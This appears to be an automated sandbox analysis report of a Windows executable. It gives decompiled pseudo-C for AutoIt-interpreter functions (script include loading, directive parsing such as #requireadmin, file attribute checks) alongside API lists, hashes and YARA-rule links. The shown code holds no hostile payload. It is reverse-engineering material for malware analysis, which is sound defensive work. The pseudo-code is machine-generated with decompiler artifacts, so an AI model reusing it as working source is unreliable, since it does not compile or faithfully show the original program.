																_push(_a4);
																goto L624;
															}
															_t1573 = 0;
															_t1322 = E00EEC510(0,  *_t1319,  &_v200,  &_v204);
															__eflags = _t1322;
															if(_t1322 == 0) {
																_push( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_a8 + 4)) + _v144 * 4)) + 0xa)));
																_push(0x79);
																_push(_a4);
																goto L624;
															}
															__eflags = _v204 & 0x00000100;
															if((_v204 & 0x00000100) == 0) {
																L309:
																_t1325 = _v200;
																_t1728 = 1;
																_v144 = _v144 + 1;
																_v212 = _v212 + 1;
																__eflags =  *((intOrPtr*)(_t1325 + 8)) - 5;
																if( *((intOrPtr*)(_t1325 + 8)) != 5) {
																	L313:
																	E00EE9190(_t1728,  &_v196);
																	_v188 = 6;
																	_v196 = _v200;
																	E00EEBC60(_t1411, _t1573, _t1728,  &_v180,  &_v196);
																	_t1412 = _v212;
																	goto L51;
																}
																_t1573 = _a8;
																_t1710 =  *((intOrPtr*)( *((intOrPtr*)(_a8 + 4)) + _v144 * 4));
																__eflags =  *((short*)(_t1710 + 8)) - 0x4e;
																if( *((short*)(_t1710 + 8)) != 0x4e) {
																	goto L313;
																}
																_t1341 = E00EEC730( &_v144, _t1573, _t1851, _a4,  &_v200, 0);
																__eflags = _t1341;
																if(_t1341 == 0) {
																	goto L313;
																}
																E00EE9190(1,  &_v196);
																E00F10C87( &_v132);
																E00EF0B80( &_v180, 1);
																_t946 = 1;
																goto L264;
															}
															__eflags = _t1728 & 0x00000100;
															if((_t1728 & 0x00000100) != 0) {
																goto L309;
															}
															_push( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_a8 + 4)) + _v144 * 4)) + 0xa)));
															_push(0xb0);
															_push(_a4);
															goto L624;
														} else {
															_t1347 = _v184;
															__eflags = _t1347;
															if(_t1347 != 0) {
																E00F2651E(_t1347);
																_v188 = 0;
															}
															_t1349 = _v188;
															__eflags = _t1349 - 8;
															if(_t1349 == 8) {
																_t1350 = _v196;
																__eflags = _t1350;
																if(_t1350 != 0) {
																	__imp__#9(_t1350);
																	_push(_v200);
																	E00EF10FC();
																	_t1809 = _t1809 + 4;
																}
															} else {
																__eflags = _t1349 - 0xa;
																if(_t1349 == 0xa) {
																	_t1369 = _v196;
																	__eflags = _t1369;
																	if(_t1369 != 0) {
																		E00F230B0(_t1369);
																	}
																} else {
																	__eflags = _t1349 - 5;
																	if(_t1349 == 5) {
																		E00EEE470( &_v196, _t1792);
																	} else {
																		__eflags = _t1349 - 0xb;
																		if(_t1349 == 0xb) {
																			_push( *(_v196 + 4));
																			E00EF10FC();
																			_push(_v196);
																			E00EF10FC();
																			_t1809 = _t1809 + 8;
																		} else {
																			__eflags = _t1349 - 0xc;
																			if(_t1349 == 0xc) {
																				_t1376 = _v196;
																				__eflags = _t1376;
																				if(_t1376 != 0) {
																					E00F2B350(_t1376);
																				}
																			}
																		}
																	}
																}
															}
															_t1799 = _v172;
															_t1351 = _v168;
															_v188 = 1;
															_v196 = 0;
															__eflags = _t1799 - _t1351;
															if(__eflags == 0) {
																_t1352 = _t1351 + _t1351;
																__eflags = _t1352 - 4;
																if(__eflags < 0) {
																	_t1352 = 4;
																}
																_v168 = _t1352;
																_push( ~(0 | __eflags > 0x00000000) | _t1352 * 0x00000004);
																_t1354 = E00EF14F7(_t1728, _t1799, __eflags);
																_t1413 = _v176;
																_t1755 = _t1354;
																E00EF0D80(_t1755, _t1413, _t1799 * 4);
																_push(_t1413);
																E00EF10FC();
																_t1809 = _t1809 + 0x14;
																_v176 = _t1755;
															}
															_t1728 = _v176;
															_push(0x10);
															_t1358 = E00EF14F7(_t1728, _t1799, __eflags);
															_t1809 = _t1809 + 4;
															__eflags = _t1358;
															if(_t1358 == 0) {
																_t1359 = 0;
																L49:
																_t1412 = _v208;
																 *(_t1728 + _t1799 * 4) = _t1359;
																_v172 = _t1799 + 1;
																_t1361 = E00EEA9D0(_a4, _t1851, _a8,  &_v144,  *((intOrPtr*)(_t1728 + (_t1799 + 1) * 4 - 4)), _t1412); // executed
																__eflags = _t1361;
																if(_t1361 != 0) {
																	L625:
																	E00EE9190(_t1728,  &_v196);
																	E00F10C87( &_v132);
																	E00EF0B80( &_v180, _t1728);
																	_t946 = 1;
																	goto L264;
																} else {
																	_t1362 = _v212;
																	_t1717 =  *((intOrPtr*)( *(_v148 + 4) + 4 + _t1362 * 4));
																	__eflags =  *((short*)(_t1717 + 8)) - 0x41;
																	_v212 = _t1362 + 1;
																	if( *((short*)(_t1717 + 8)) == 0x41) {
																		_v212 = _v212 + 2;
																	}
																	L51:
																	_t1611 = _v144;
																	__eflags = _t1611 - _t1412;
																	if(_t1611 == _t1412) {
																		goto L57;
																	}
																	_t1796 = _a8;
																	_t1330 =  *((intOrPtr*)( *((intOrPtr*)(_t1796 + 4)) + _t1611 * 4));
																	__eflags =  *((intOrPtr*)(_t1330 + 8)) - 0x40;
																	if( *((intOrPtr*)(_t1330 + 8)) != 0x40) {
																		L354:
																		_push( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1796 + 4)) + _t1611 * 4)) + 0xa)));
																		_push(0x6f);
																		goto L623;
																	}
																	_t1332 = _t1611 + 1;
																	__eflags = _t1332 - _v208;
																	if(_t1332 == _v208) {
																		goto L354;
																	} else {
																		_t1611 = _t1332;
																		_v144 = _t1611;
																		_t1335 =  *((intOrPtr*)( *(_v148 + 4) + _v212 * 4));
																		__eflags =  *((intOrPtr*)(_t1335 + 8)) - 0x40;
																		if( *((intOrPtr*)(_t1335 + 8)) == 0x40) {
																			_t139 =  &_v212;
																			 *_t139 = _v212 + 1;
																			__eflags =  *_t139;
																		}
																		_t1337 = _v108 + 1;
																		_v108 = _t1337;
																		__eflags = _t1337 - _v136;
																		if(_t1337 < _v136) {
																			continue;
																		}
																		goto L57;
																	}
																}
															}
															_t1414 = _t1358;
															_t1364 = _v188;
															 *(_t1414 + 8) = _t1364;
															 *(_t1414 + 0xc) = 0;
															__eflags = _t1364 - 1;
															if(_t1364 != 1) {
																_t1365 = _t1364 - 1;
																__eflags = _t1365 - 0xb;
																if(__eflags > 0) {
																	L336:
																	_t1728 = _v176;
																	_t1799 = _v172;
																	L48:
																	_t1359 = _t1414;
																	goto L49;
																}
																switch( *((intOrPtr*)(_t1365 * 4 +  &M00F0AE32))) {
																	case 0:
																		goto L47;
																	case 1:
																		__eax = _v196;
																		 *__ebx = _v196;
																		__ecx = _v192;
																		__ebx[1] = __ecx;
																		goto L48;
																	case 2:
																		__fp0 = _v196;
																		 *__ebx = __fp0;
																		goto L48;
																	case 3:
																		_push(0x10);
																		_t1366 = E00EF14F7(_t1728, _t1799, __eflags);
																		_t1809 = _t1809 + 4;
																		__eflags = _t1366;
																		if(_t1366 == 0) {
																			 *(_t1414 + 0xc) = 0;
																		} else {
																			_t1589 = _v184;
																			 *_t1366 =  *_t1589;
																			 *((intOrPtr*)(_t1366 + 4)) =  *((intOrPtr*)(_t1589 + 4));
																			 *((intOrPtr*)(_t1366 + 8)) =  *((intOrPtr*)(_t1589 + 8));
																			_t1590 =  *((intOrPtr*)(_t1589 + 0xc));
																			 *((intOrPtr*)(_t1366 + 0xc)) = _t1590;
																			 *_t1590 =  *_t1590 + 1;
																			 *(_t1414 + 0xc) = _t1366;
																		}
																		goto L48;
																	case 4:
																		_push(0x214);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			__eax = 0;
																			__eflags = 0;
																		} else {
																			__esi = _v196;
																			__ecx = 0x85;
																			__edi = __eax;
																			__eax = memcpy(__eax, __esi, 0x85 << 2);
																			__edi = __esi + __ecx;
																			__edi = __esi + __ecx + __ecx;
																			__ecx = 0;
																		}
																		 *__ebx = __eax;
																		__eflags =  *(__eax + 4);
																		if( *(__eax + 4) != 0) {
																			__eax =  *(__eax + 4);
																			 *__eax =  *__eax + 1;
																			__eflags =  *__eax;
																		}
																		goto L336;
																	case 5:
																		__eax = _v196;
																		 *__ebx = _v196;
																		goto L48;
																	case 6:
																		__eflags = _v196;
																		if(__eflags == 0) {
																			goto L336;
																		}
																		_push(0x10);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		_push(__eax);
																		 *__ebx = __eax;
																		__imp__#8();
																		__ecx = _v200;
																		__edx =  *__ebx;
																		_push(__ecx);
																		_push( *__ebx);
																		__imp__#10();
																		__eflags = __eax;
																		if(__eax < 0) {
																			__eax =  *__ebx;
																			_push( *__ebx);
																			__imp__#9();
																			__ecx =  *__ebx;
																			_push( *__ebx);
																			__eax = E00EF10FC();
																			__esp = __esp + 4;
																			 *__ebx = 0;
																		}
																		goto L48;
																	case 7:
																		 *__ebx = _v196;
																		goto L48;
																	case 8:
																		_push(0x18);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			goto L343;
																		}
																		__ecx = _v196;
																		 *__ebx = __eax;
																		goto L48;
																	case 9:
																		_push(8);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		 *__ebx = __eax;
																		__edx = _v196;
																		__ecx =  *_v196;
																		 *__eax =  *_v196;
																		__edx =  *__ebx;
																		__eax =  *( *__ebx);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eflags == 0) {
																			_push(1);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__ecx =  *__ebx;
																			 *(__ecx + 4) = __eax;
																			__edx =  *__ebx;
																			__eax =  *(__edx + 4);
																			__esp = __esp + 4;
																			 *( *(__edx + 4)) = 0;
																		} else {
																			_push(__eax);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__ecx =  *__ebx;
																			 *( *__ebx + 4) = __eax;
																			__eax =  *__ebx;
																			__edx =  *__eax;
																			__ecx = _v196;
																			__eax =  *(__eax + 4);
																			__esp = __esp + 4;
																			__edx =  *(_v196 + 4);
																			__eax = E00EF0D80(__eax,  *(_v196 + 4),  *(_v196 + 4));
																		}
																		goto L48;
																	case 0xa:
																		_push(0x14);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			L343:
																			__eax = 0;
																			 *__ebx = 0;
																			goto L48;
																		}
																		__ecx = _v196;
																		 *__ebx = __eax;
																		goto L48;
																}
															}
															L47:
															 *_t1414 = _v196;
															goto L48;
														}
													}
													goto L57;
												}
											}
											__eflags = _t978 - _t1444;
											if(_t978 <= _t1444) {
												goto L296;
											} else {
												_t1379 = (_t978 << 4) +  *0xf8912c;
												__eflags = _t1379;
												_v148 = _t1379;
												goto L28;
											}
										}
									}
								}
								_t1593 = _v200 + 1;
								__eflags = _t1593;
								_v136 = _t1593;
								goto L287;
							}
							_v116 = _v200 - 1;
							L287:
							__eflags = _v136 - _v116;
						} while (_v136 <= _v116);
						goto L288;
					}
					_t1763 =  *(_t956 + 0x134);
					if(_t1763 != 0) {
						_v200 = _t1763;
						do {
							_t1725 =  *((intOrPtr*)(_t1763 + 4));
							if(_t1725 != _v176) {
								goto L268;
							}
							if(_t1725 == 0) {
								L15:
								_t1382 = _v168;
								 *_t1382 =  *_t1382 - 1;
								if( *_t1382 == 0) {
									_push(_v180);
									E00EF10FC();
									_push(_v168);
									E00EF10FC();
									_t1809 = _t1809 + 8;
								}
								goto L17;
							} else {
								_t1595 = _v180;
								_t1385 =  *_t1763;
								L12:
								L12:
								if( *_t1385 !=  *_t1595) {
									_t1763 = _v200;
								} else {
									goto L13;
								}
								goto L268;
								L13:
								_t1385 = _t1385 + 2;
								_t1595 =  &(_t1595[1]);
								_t1725 = _t1725 - 1;
								if(_t1725 != 0) {
									goto L12;
								} else {
									_t1763 = _v200;
									goto L15;
								}
							}
							L268:
							_t1763 =  *(_t1763 + 0x20);
							_v200 = _t1763;
							__eflags = _t1763;
						} while (__eflags != 0);
					}
					goto L288;
				}
			}

APIs

_wcslen.LIBCMT ref: 00EE9911

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_memmove.LIBCMT ref: 00EE995C

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00000000), ref: 00EE99A3
_memmove.LIBCMT ref: 00EE9FE6
_memmove.LIBCMT ref: 00EEA914
_memmove.LIBCMT ref: 00F09769

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove$std::exception::exception$BuffCharException@8ThrowUpper_malloc_wcslen
String ID:
API String ID: 2383988440-0
Opcode ID: 06fa61ab1e262e223a2f93ed96008dc37657d08a7dd0b4b025007f741e813feb
Instruction ID: ff2ab99659a2fa2de242e04823ab7023b89852c4409f4c0e23169bad9e872567
Opcode Fuzzy Hash: 06fa61ab1e262e223a2f93ed96008dc37657d08a7dd0b4b025007f741e813feb
Instruction Fuzzy Hash: 4213A1B4A08384CFC724DF25C881A6AB7E1BF85300F18996DE4469B392D775EC45EB93

Uniqueness

Uniqueness Score: -1.00%

Function 00EE35F0, Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 359
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00EE35F0(void* __edx, void* __fp0, char _a1, char _a2, signed int _a3, void* _a4, WCHAR* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, char _a48, intOrPtr _a52, signed char _a68, intOrPtr _a72, char _a84, WCHAR* _a92, short _a96, short _a624, char _a1152, short _a1672, char _a2200, char _a10392, char _a10912) {
				char _v0;
				char _v19;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t146;
				signed int _t147;
				void* _t151;
				void* _t156;
				signed char _t180;
				char _t182;
				intOrPtr _t183;
				void* _t191;
				void* _t197;
				signed int _t198;
				signed int _t202;
				signed int _t203;
				signed int _t204;
				signed int _t207;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				char* _t215;
				intOrPtr* _t216;
				signed int _t225;
				intOrPtr _t226;
				signed int _t277;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				intOrPtr* _t284;
				signed int _t285;
				signed int _t286;
				void* _t288;
				void* _t290;
				void* _t291;

				_t322 = __fp0;
				_t286 = _t285 & 0xfffffff8;
				E00F02160(0x2cac);
				_t146 =  *0xf89538; // 0x0
				_t147 = _t146 + 1;
				 *0xf89538 = _t147;
				_t294 = _t147 - 0x30;
				if(_t147 >= 0x30) {
					E00F33F89(__eflags, __fp0, _a4, _a16, _a24, L"#include depth exceeded.  Make sure there are no recursive includes", _a20);
					 *0xf89538 =  *0xf89538 - 1;
					_t151 = 0;
					L42:
					return _t151;
				}
				_t270 = _a8;
				_t225 = 1;
				_a4 = 0;
				_a1 = 1;
				_a3 = 1;
				_a2 = 0;
				E00EEDA00( &_a24, _t294);
				E00EE1D10(_t270,  &_a8, _t294);
				_t156 = E00EEE060(0x2000,  &_a24, _t270,  &_a8); // executed
				if(_t156 == 0) {
					_v0 = 1;
				} else {
					_v0 = 0;
				}
				E00EE2480( &_a8);
				if(_v0 != 0) {
					E00F33F89(__eflags, _t322, _a4, _a16, _a24, L"Error opening the file", _a20);
					E00F23EE3( &_a4);
					 *0xf89538 =  *0xf89538 - 1;
					_t151 = 0;
					goto L42;
				} else {
					GetCurrentDirectoryW(0x104,  &_a1672);
					GetFullPathNameW(_t270, 0x104,  &_a96,  &_a92);
					E00EF392E( &_a96,  &_a84,  &_a1152,  &_a10912,  &_a10392);
					E00EF1487( &_a624,  &_a84);
					E00EF1456( &_a624,  &_a1152);
					_t288 = _t286 + 0x24;
					_t237 =  &_a624;
					SetCurrentDirectoryW( &_a624); // executed
					while(_t225 == 1) {
						_a2200 = 0;
						E00EE3580( &_a48);
						_t180 = _a68;
						if((_t180 & 0x00000003) != 0) {
							_t182 = E00F3F632(_t237, __eflags, _t322,  &_a24,  &_a48); // executed
							_t226 = 0;
						} else {
							_t299 = _t180 & 0x00000004;
							if((_t180 & 0x00000004) != 0) {
								_t182 = E00F47AAE( &_a24, __eflags, _t322,  &_a24,  &_a48);
								_t226 = 0;
							} else {
								_t226 = 0;
								_push(0x10);
								_a12 = 0;
								_a16 = 0x10;
								_t215 = E00EF14F7(_t270,  &_a48, _t299);
								_push(4);
								_a8 = _t215;
								 *_t215 = 0;
								_t216 = E00EF14F7(_t270,  &_a48, _t299);
								_t288 = _t288 + 8;
								if(_t216 == 0) {
									_a20 = 0;
								} else {
									 *_t216 = 1;
									_a20 = _t216;
								}
								if(E00EE39D0( &_a24,  &_a8, _t322) == 0) {
									E00EE1590( &_a8);
									_t182 = 0;
								} else {
									E00EE3D20(_t226,  &_a8,  &_a48);
									_t284 = _a12;
									 *_t284 =  *_t284 - 1;
									if( *_t284 == 0) {
										_t237 = _a8;
										_push(_a8);
										E00EF10FC();
										_push(_t284);
										E00EF10FC();
										_t288 = _t288 + 8;
									}
									_t182 = 1;
								}
							}
						}
						if(_t182 == 0) {
							L41:
							E00EED9C0( &_a24);
							_a68 = _t226;
							_a72 = _t226;
							SetCurrentDirectoryW( &_a1672);
							E00EED9C0( &_a24);
							_a68 = _t226;
							_a72 = _t226;
							E00EE2480( &_a48);
							E00EED9C0( &_a24);
							_push(_a28);
							E00EF10FC();
							_t151 = _a1;
							 *0xf89538 =  *0xf89538 - 1;
							__eflags =  *0xf89538;
							goto L42;
						} else {
							_t183 = _a52;
							if(_t183 > 0xffe) {
								_t277 = _t183 - 0xffe;
								E00EE2920( &_a48);
								E00EF0D80(_a48 + 0x1ffc, _a48 + 0x1ffc + _t277 * 2, _a52 - _t277 + _a52 - _t277 - 0x1ffa);
								_t288 = _t288 + 0xc;
								_a52 = _a52 - _t277;
							}
							E00EF1487( &_a2200, _a48);
							_a4 = _a4 + 1;
							_t290 = _t288 + 8;
							_t278 = 0;
							_t270 = 0;
							while(1) {
								_t227 =  *(_t290 + 0x8a8 + _t278 * 2) & 0x0000ffff;
								_t191 = E00EF316E( *(_t290 + 0x8a8 + _t278 * 2) & 0x0000ffff);
								_t288 = _t290 + 4;
								if(_t191 == 0) {
									break;
								}
								_t213 = E00EF3145(_t237, _t227);
								_t290 = _t288 + 4;
								if(_t213 != 0) {
									_t278 = _t278 + 1;
									continue;
								}
								break;
							}
							if( *((intOrPtr*)(_t288 + 0x8a8 + _t278 * 2)) == _t270) {
								L21:
								 *((short*)(_t288 + 0x8a8 + _t270 * 2)) = 0;
								if(E00EE3BD0( &_a2200) == 0) {
									E00F33F89(__eflags, _t322, _a4, _a16, _a4, L"Unterminated string",  &_a2200);
									_v19 = 0;
									break;
								}
								_t197 = E00EF10E1( &_a2200);
								_t291 = _t288 + 4;
								if(_t197 == 0) {
									L28:
									_v0 = 0;
									_t198 = E00EF10E1( &_a2200);
									_t288 = _t291 + 4;
									if(_t198 > 2) {
										_t280 = _t198;
										_t210 = E00EF3145( *(_t288 + 0x8a4 + _t280 * 2) & 0x7f,  *(_t288 + 0x8a4 + _t280 * 2) & 0x7f);
										_t288 = _t288 + 4;
										if(_t210 != 0) {
											__eflags =  *((short*)(_t288 + 0x8a6 + _t280 * 2)) - 0x5f;
											if( *((short*)(_t288 + 0x8a6 + _t280 * 2)) == 0x5f) {
												 *((short*)(_t288 + 0x8a6 + _t280 * 2)) = 0;
												_v0 = 1;
											}
										}
									}
									if(_a2 == 1) {
										_t237 = _a4;
										E00F1494A(_a4,  &_a2200);
									} else {
										_t279 = _a4;
										_t237 = _a4; // executed
										_t202 = E00EE3C50(_a4,  &_a2200, _t322,  &_a2200,  &_a96,  &_a4,  &_a24); // executed
										if(_t202 != 3) {
											_t203 = _t202;
											__eflags = _t203;
											if(_t203 == 0) {
												_a1 = 0;
												L33:
												if(_v0 == 1) {
													_a2 = 1;
												} else {
													_a2 = 0;
												}
												if(_a1 != 1) {
													break;
												} else {
													_t225 = _a3;
													continue;
												}
											}
											_t204 = _t203 - 2;
											__eflags = _t204;
											if(_t204 == 0) {
												goto L32;
											}
											_t207 = _t204 - 2;
											__eflags = _t207;
											if(_t207 == 0) {
												_a3 = _t207;
											}
											goto L33;
										}
										L32:
										_t237 = _a4;
										E00EE3C80( &_a2200, _a4, _t279, _a4, _a12); // executed
									}
									goto L33;
								}
								_t66 = _t197 - 1; // -1
								_t282 = _t66;
								if(_t282 < 0) {
									L27:
									 *((short*)(_t291 + 0x8aa + _t282 * 2)) = 0;
									goto L28;
								}
								while(1) {
									_t270 =  *(_t291 + 0x8a8 + _t282 * 2) & 0x0000ffff;
									_t211 = E00EF316E( *(_t291 + 0x8a8 + _t282 * 2) & 0x0000ffff);
									_t291 = _t291 + 4;
									if(_t211 == 0) {
										goto L27;
									}
									_t212 = E00EF3145(_t237, _t270);
									_t291 = _t291 + 4;
									if(_t212 != 0) {
										_t282 = _t282 - 1;
										__eflags = _t282;
										if(_t282 >= 0) {
											continue;
										}
									}
									goto L27;
								}
								goto L27;
							} else {
								goto L20;
							}
							do {
								L20:
								_t237 =  *((intOrPtr*)(_t288 + 0x8a8 + _t278 * 2));
								 *((short*)(_t288 + 0x8a8 + _t270 * 2)) =  *((intOrPtr*)(_t288 + 0x8a8 + _t278 * 2));
								_t278 = _t278 + 1;
								_t270 =  &(_t270[0]);
							} while ( *((short*)(_t288 + 0x8a8 + _t278 * 2)) != 0);
							goto L21;
						}
					}
					_t226 = 0;
					goto L41;
				}
			}

APIs

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00EE3681
GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE3697
__wsplitpath.LIBCMT ref: 00EE36C2

Part of subcall function 00EF392E: __wsplitpath_helper.LIBCMT ref: 00EF3970

_wcscpy.LIBCMT ref: 00EE36D7
_wcscat.LIBCMT ref: 00EE36EC
SetCurrentDirectoryW.KERNELBASE(?), ref: 00EE36FC

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

Part of subcall function 00EE3D20: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,00EE378C,?,?,?,00000010), ref: 00EE3D38
Part of subcall function 00EE3D20: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,00000010), ref: 00EE3D71

_wcscpy.LIBCMT ref: 00EE37D0
_wcslen.LIBCMT ref: 00EE3853
_wcslen.LIBCMT ref: 00EE38AD

Strings

_, xrefs: 00EE394C
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00F0817E
Unterminated string, xrefs: 00F082C6
Error opening the file, xrefs: 00F081AF

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpystd::exception::exception$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_memmove_wcscat
String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
API String ID: 3393021363-188983378
Opcode ID: cfa0ef7f695d597abcf7a5781bbdf68af2be19b5d8de579b9d928746b678ee98
Instruction ID: d205e07efbcd119868387adddc852abd2e13570d2658261fc55c3081cf90e24f
Opcode Fuzzy Hash: cfa0ef7f695d597abcf7a5781bbdf68af2be19b5d8de579b9d928746b678ee98
Instruction Fuzzy Hash: DFD11FB1408389AAD710EF65C845AEFB7E8AFC5300F04582DF6C563242DBB1DA4997A3

Uniqueness

Uniqueness Score: -1.00%

Function 00F1399B, Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F1399B(WCHAR* _a4) {
				struct _WIN32_FIND_DATAW _v596;
				long _t4;
				void* _t6;
				WCHAR* _t10;

				_t10 = _a4;
				_t4 = GetFileAttributesW(_t10); // executed
				if(_t4 != 0xffffffff) {
					L4:
					return _t4;
				} else {
					_t6 = FindFirstFileW(_t10,  &_v596);
					if(_t6 != 0xffffffff) {
						FindClose(_t6);
						_t4 = _v596.dwFileAttributes;
						goto L4;
					} else {
						return _t6;
					}
				}
			}

0x00f139a8
0x00f139ac
0x00f139b5
0x00f139da
0x00f139de
0x00f139b7
0x00f139bd
0x00f139c6
0x00f139d0
0x00f139d6
0x00000000
0x00f139c8
0x00f139ce
0x00f139ce
0x00f139c6

APIs

GetFileAttributesW.KERNELBASE(?,00000000), ref: 00F139AC
FindFirstFileW.KERNEL32(?,?), ref: 00F139BD
FindClose.KERNEL32(00000000), ref: 00F139D0

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: b72c74dbe93ab8ec639a9b31f71985a1e3e44f33ecc86d406d1f171a3cc20e19
Instruction ID: aa89eb937fdcb3c82735850a4ce8bc27a147967be5386c45484fd7383109b062
Opcode Fuzzy Hash: b72c74dbe93ab8ec639a9b31f71985a1e3e44f33ecc86d406d1f171a3cc20e19
Instruction Fuzzy Hash: B0E092328189189B8610AB78AC094E9779DDB06335F400B42FE38C21D0DBB09A9067D6

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3C50, Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00EE3C50(char* __ecx, void* __edx, void* __fp0, char _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr _a16) {
				char _v8196;
				void* __ebx;
				void* __edi;
				signed int _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t62;
				intOrPtr _t64;
				signed int _t65;
				void* _t67;
				intOrPtr _t68;
				signed int _t72;
				intOrPtr _t76;
				signed int _t86;
				char* _t96;
				intOrPtr _t101;
				void* _t116;
				intOrPtr* _t117;
				void* _t119;
				short* _t120;
				signed int _t121;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t134 = __fp0;
				_t98 = __ecx;
				E00F02160(0x2004);
				_t120 = _a4;
				if( *_t120 == 0x23) {
					_t96 = __ecx;
					_t44 = E00EF333F(_t120, L"#notrayicon", 0xb);
					_t124 = _t123 + 0xc;
					__eflags = _t44;
					if(_t44 != 0) {
						_t45 = E00EF333F(_t120, L"#requireadmin", 0xd);
						_t125 = _t124 + 0xc;
						__eflags = _t45;
						if(_t45 != 0) {
							_t46 = E00EF333F(_t120, L"#NoAutoIt3Execute", 0xd);
							_t126 = _t125 + 0xc;
							__eflags = _t46;
							if(_t46 != 0) {
								_t47 = E00EF333F(_t120, L"#OnAutoItStartRegister", 0x16);
								_t127 = _t126 + 0xc;
								__eflags = _t47;
								if(__eflags != 0) {
									_t48 = E00EF333F(_t120, L"#include-once", 0xd);
									_t128 = _t127 + 0xc;
									__eflags = _t48;
									if(_t48 != 0) {
										_t49 = E00EF333F(_t120, L"#include", 8);
										_t129 = _t128 + 0xc;
										__eflags = _t49;
										if(_t49 != 0) {
											_t50 = E00EF333F(_t120, L"#comments-start", 0xf);
											_t130 = _t129 + 0xc;
											__eflags = _t50;
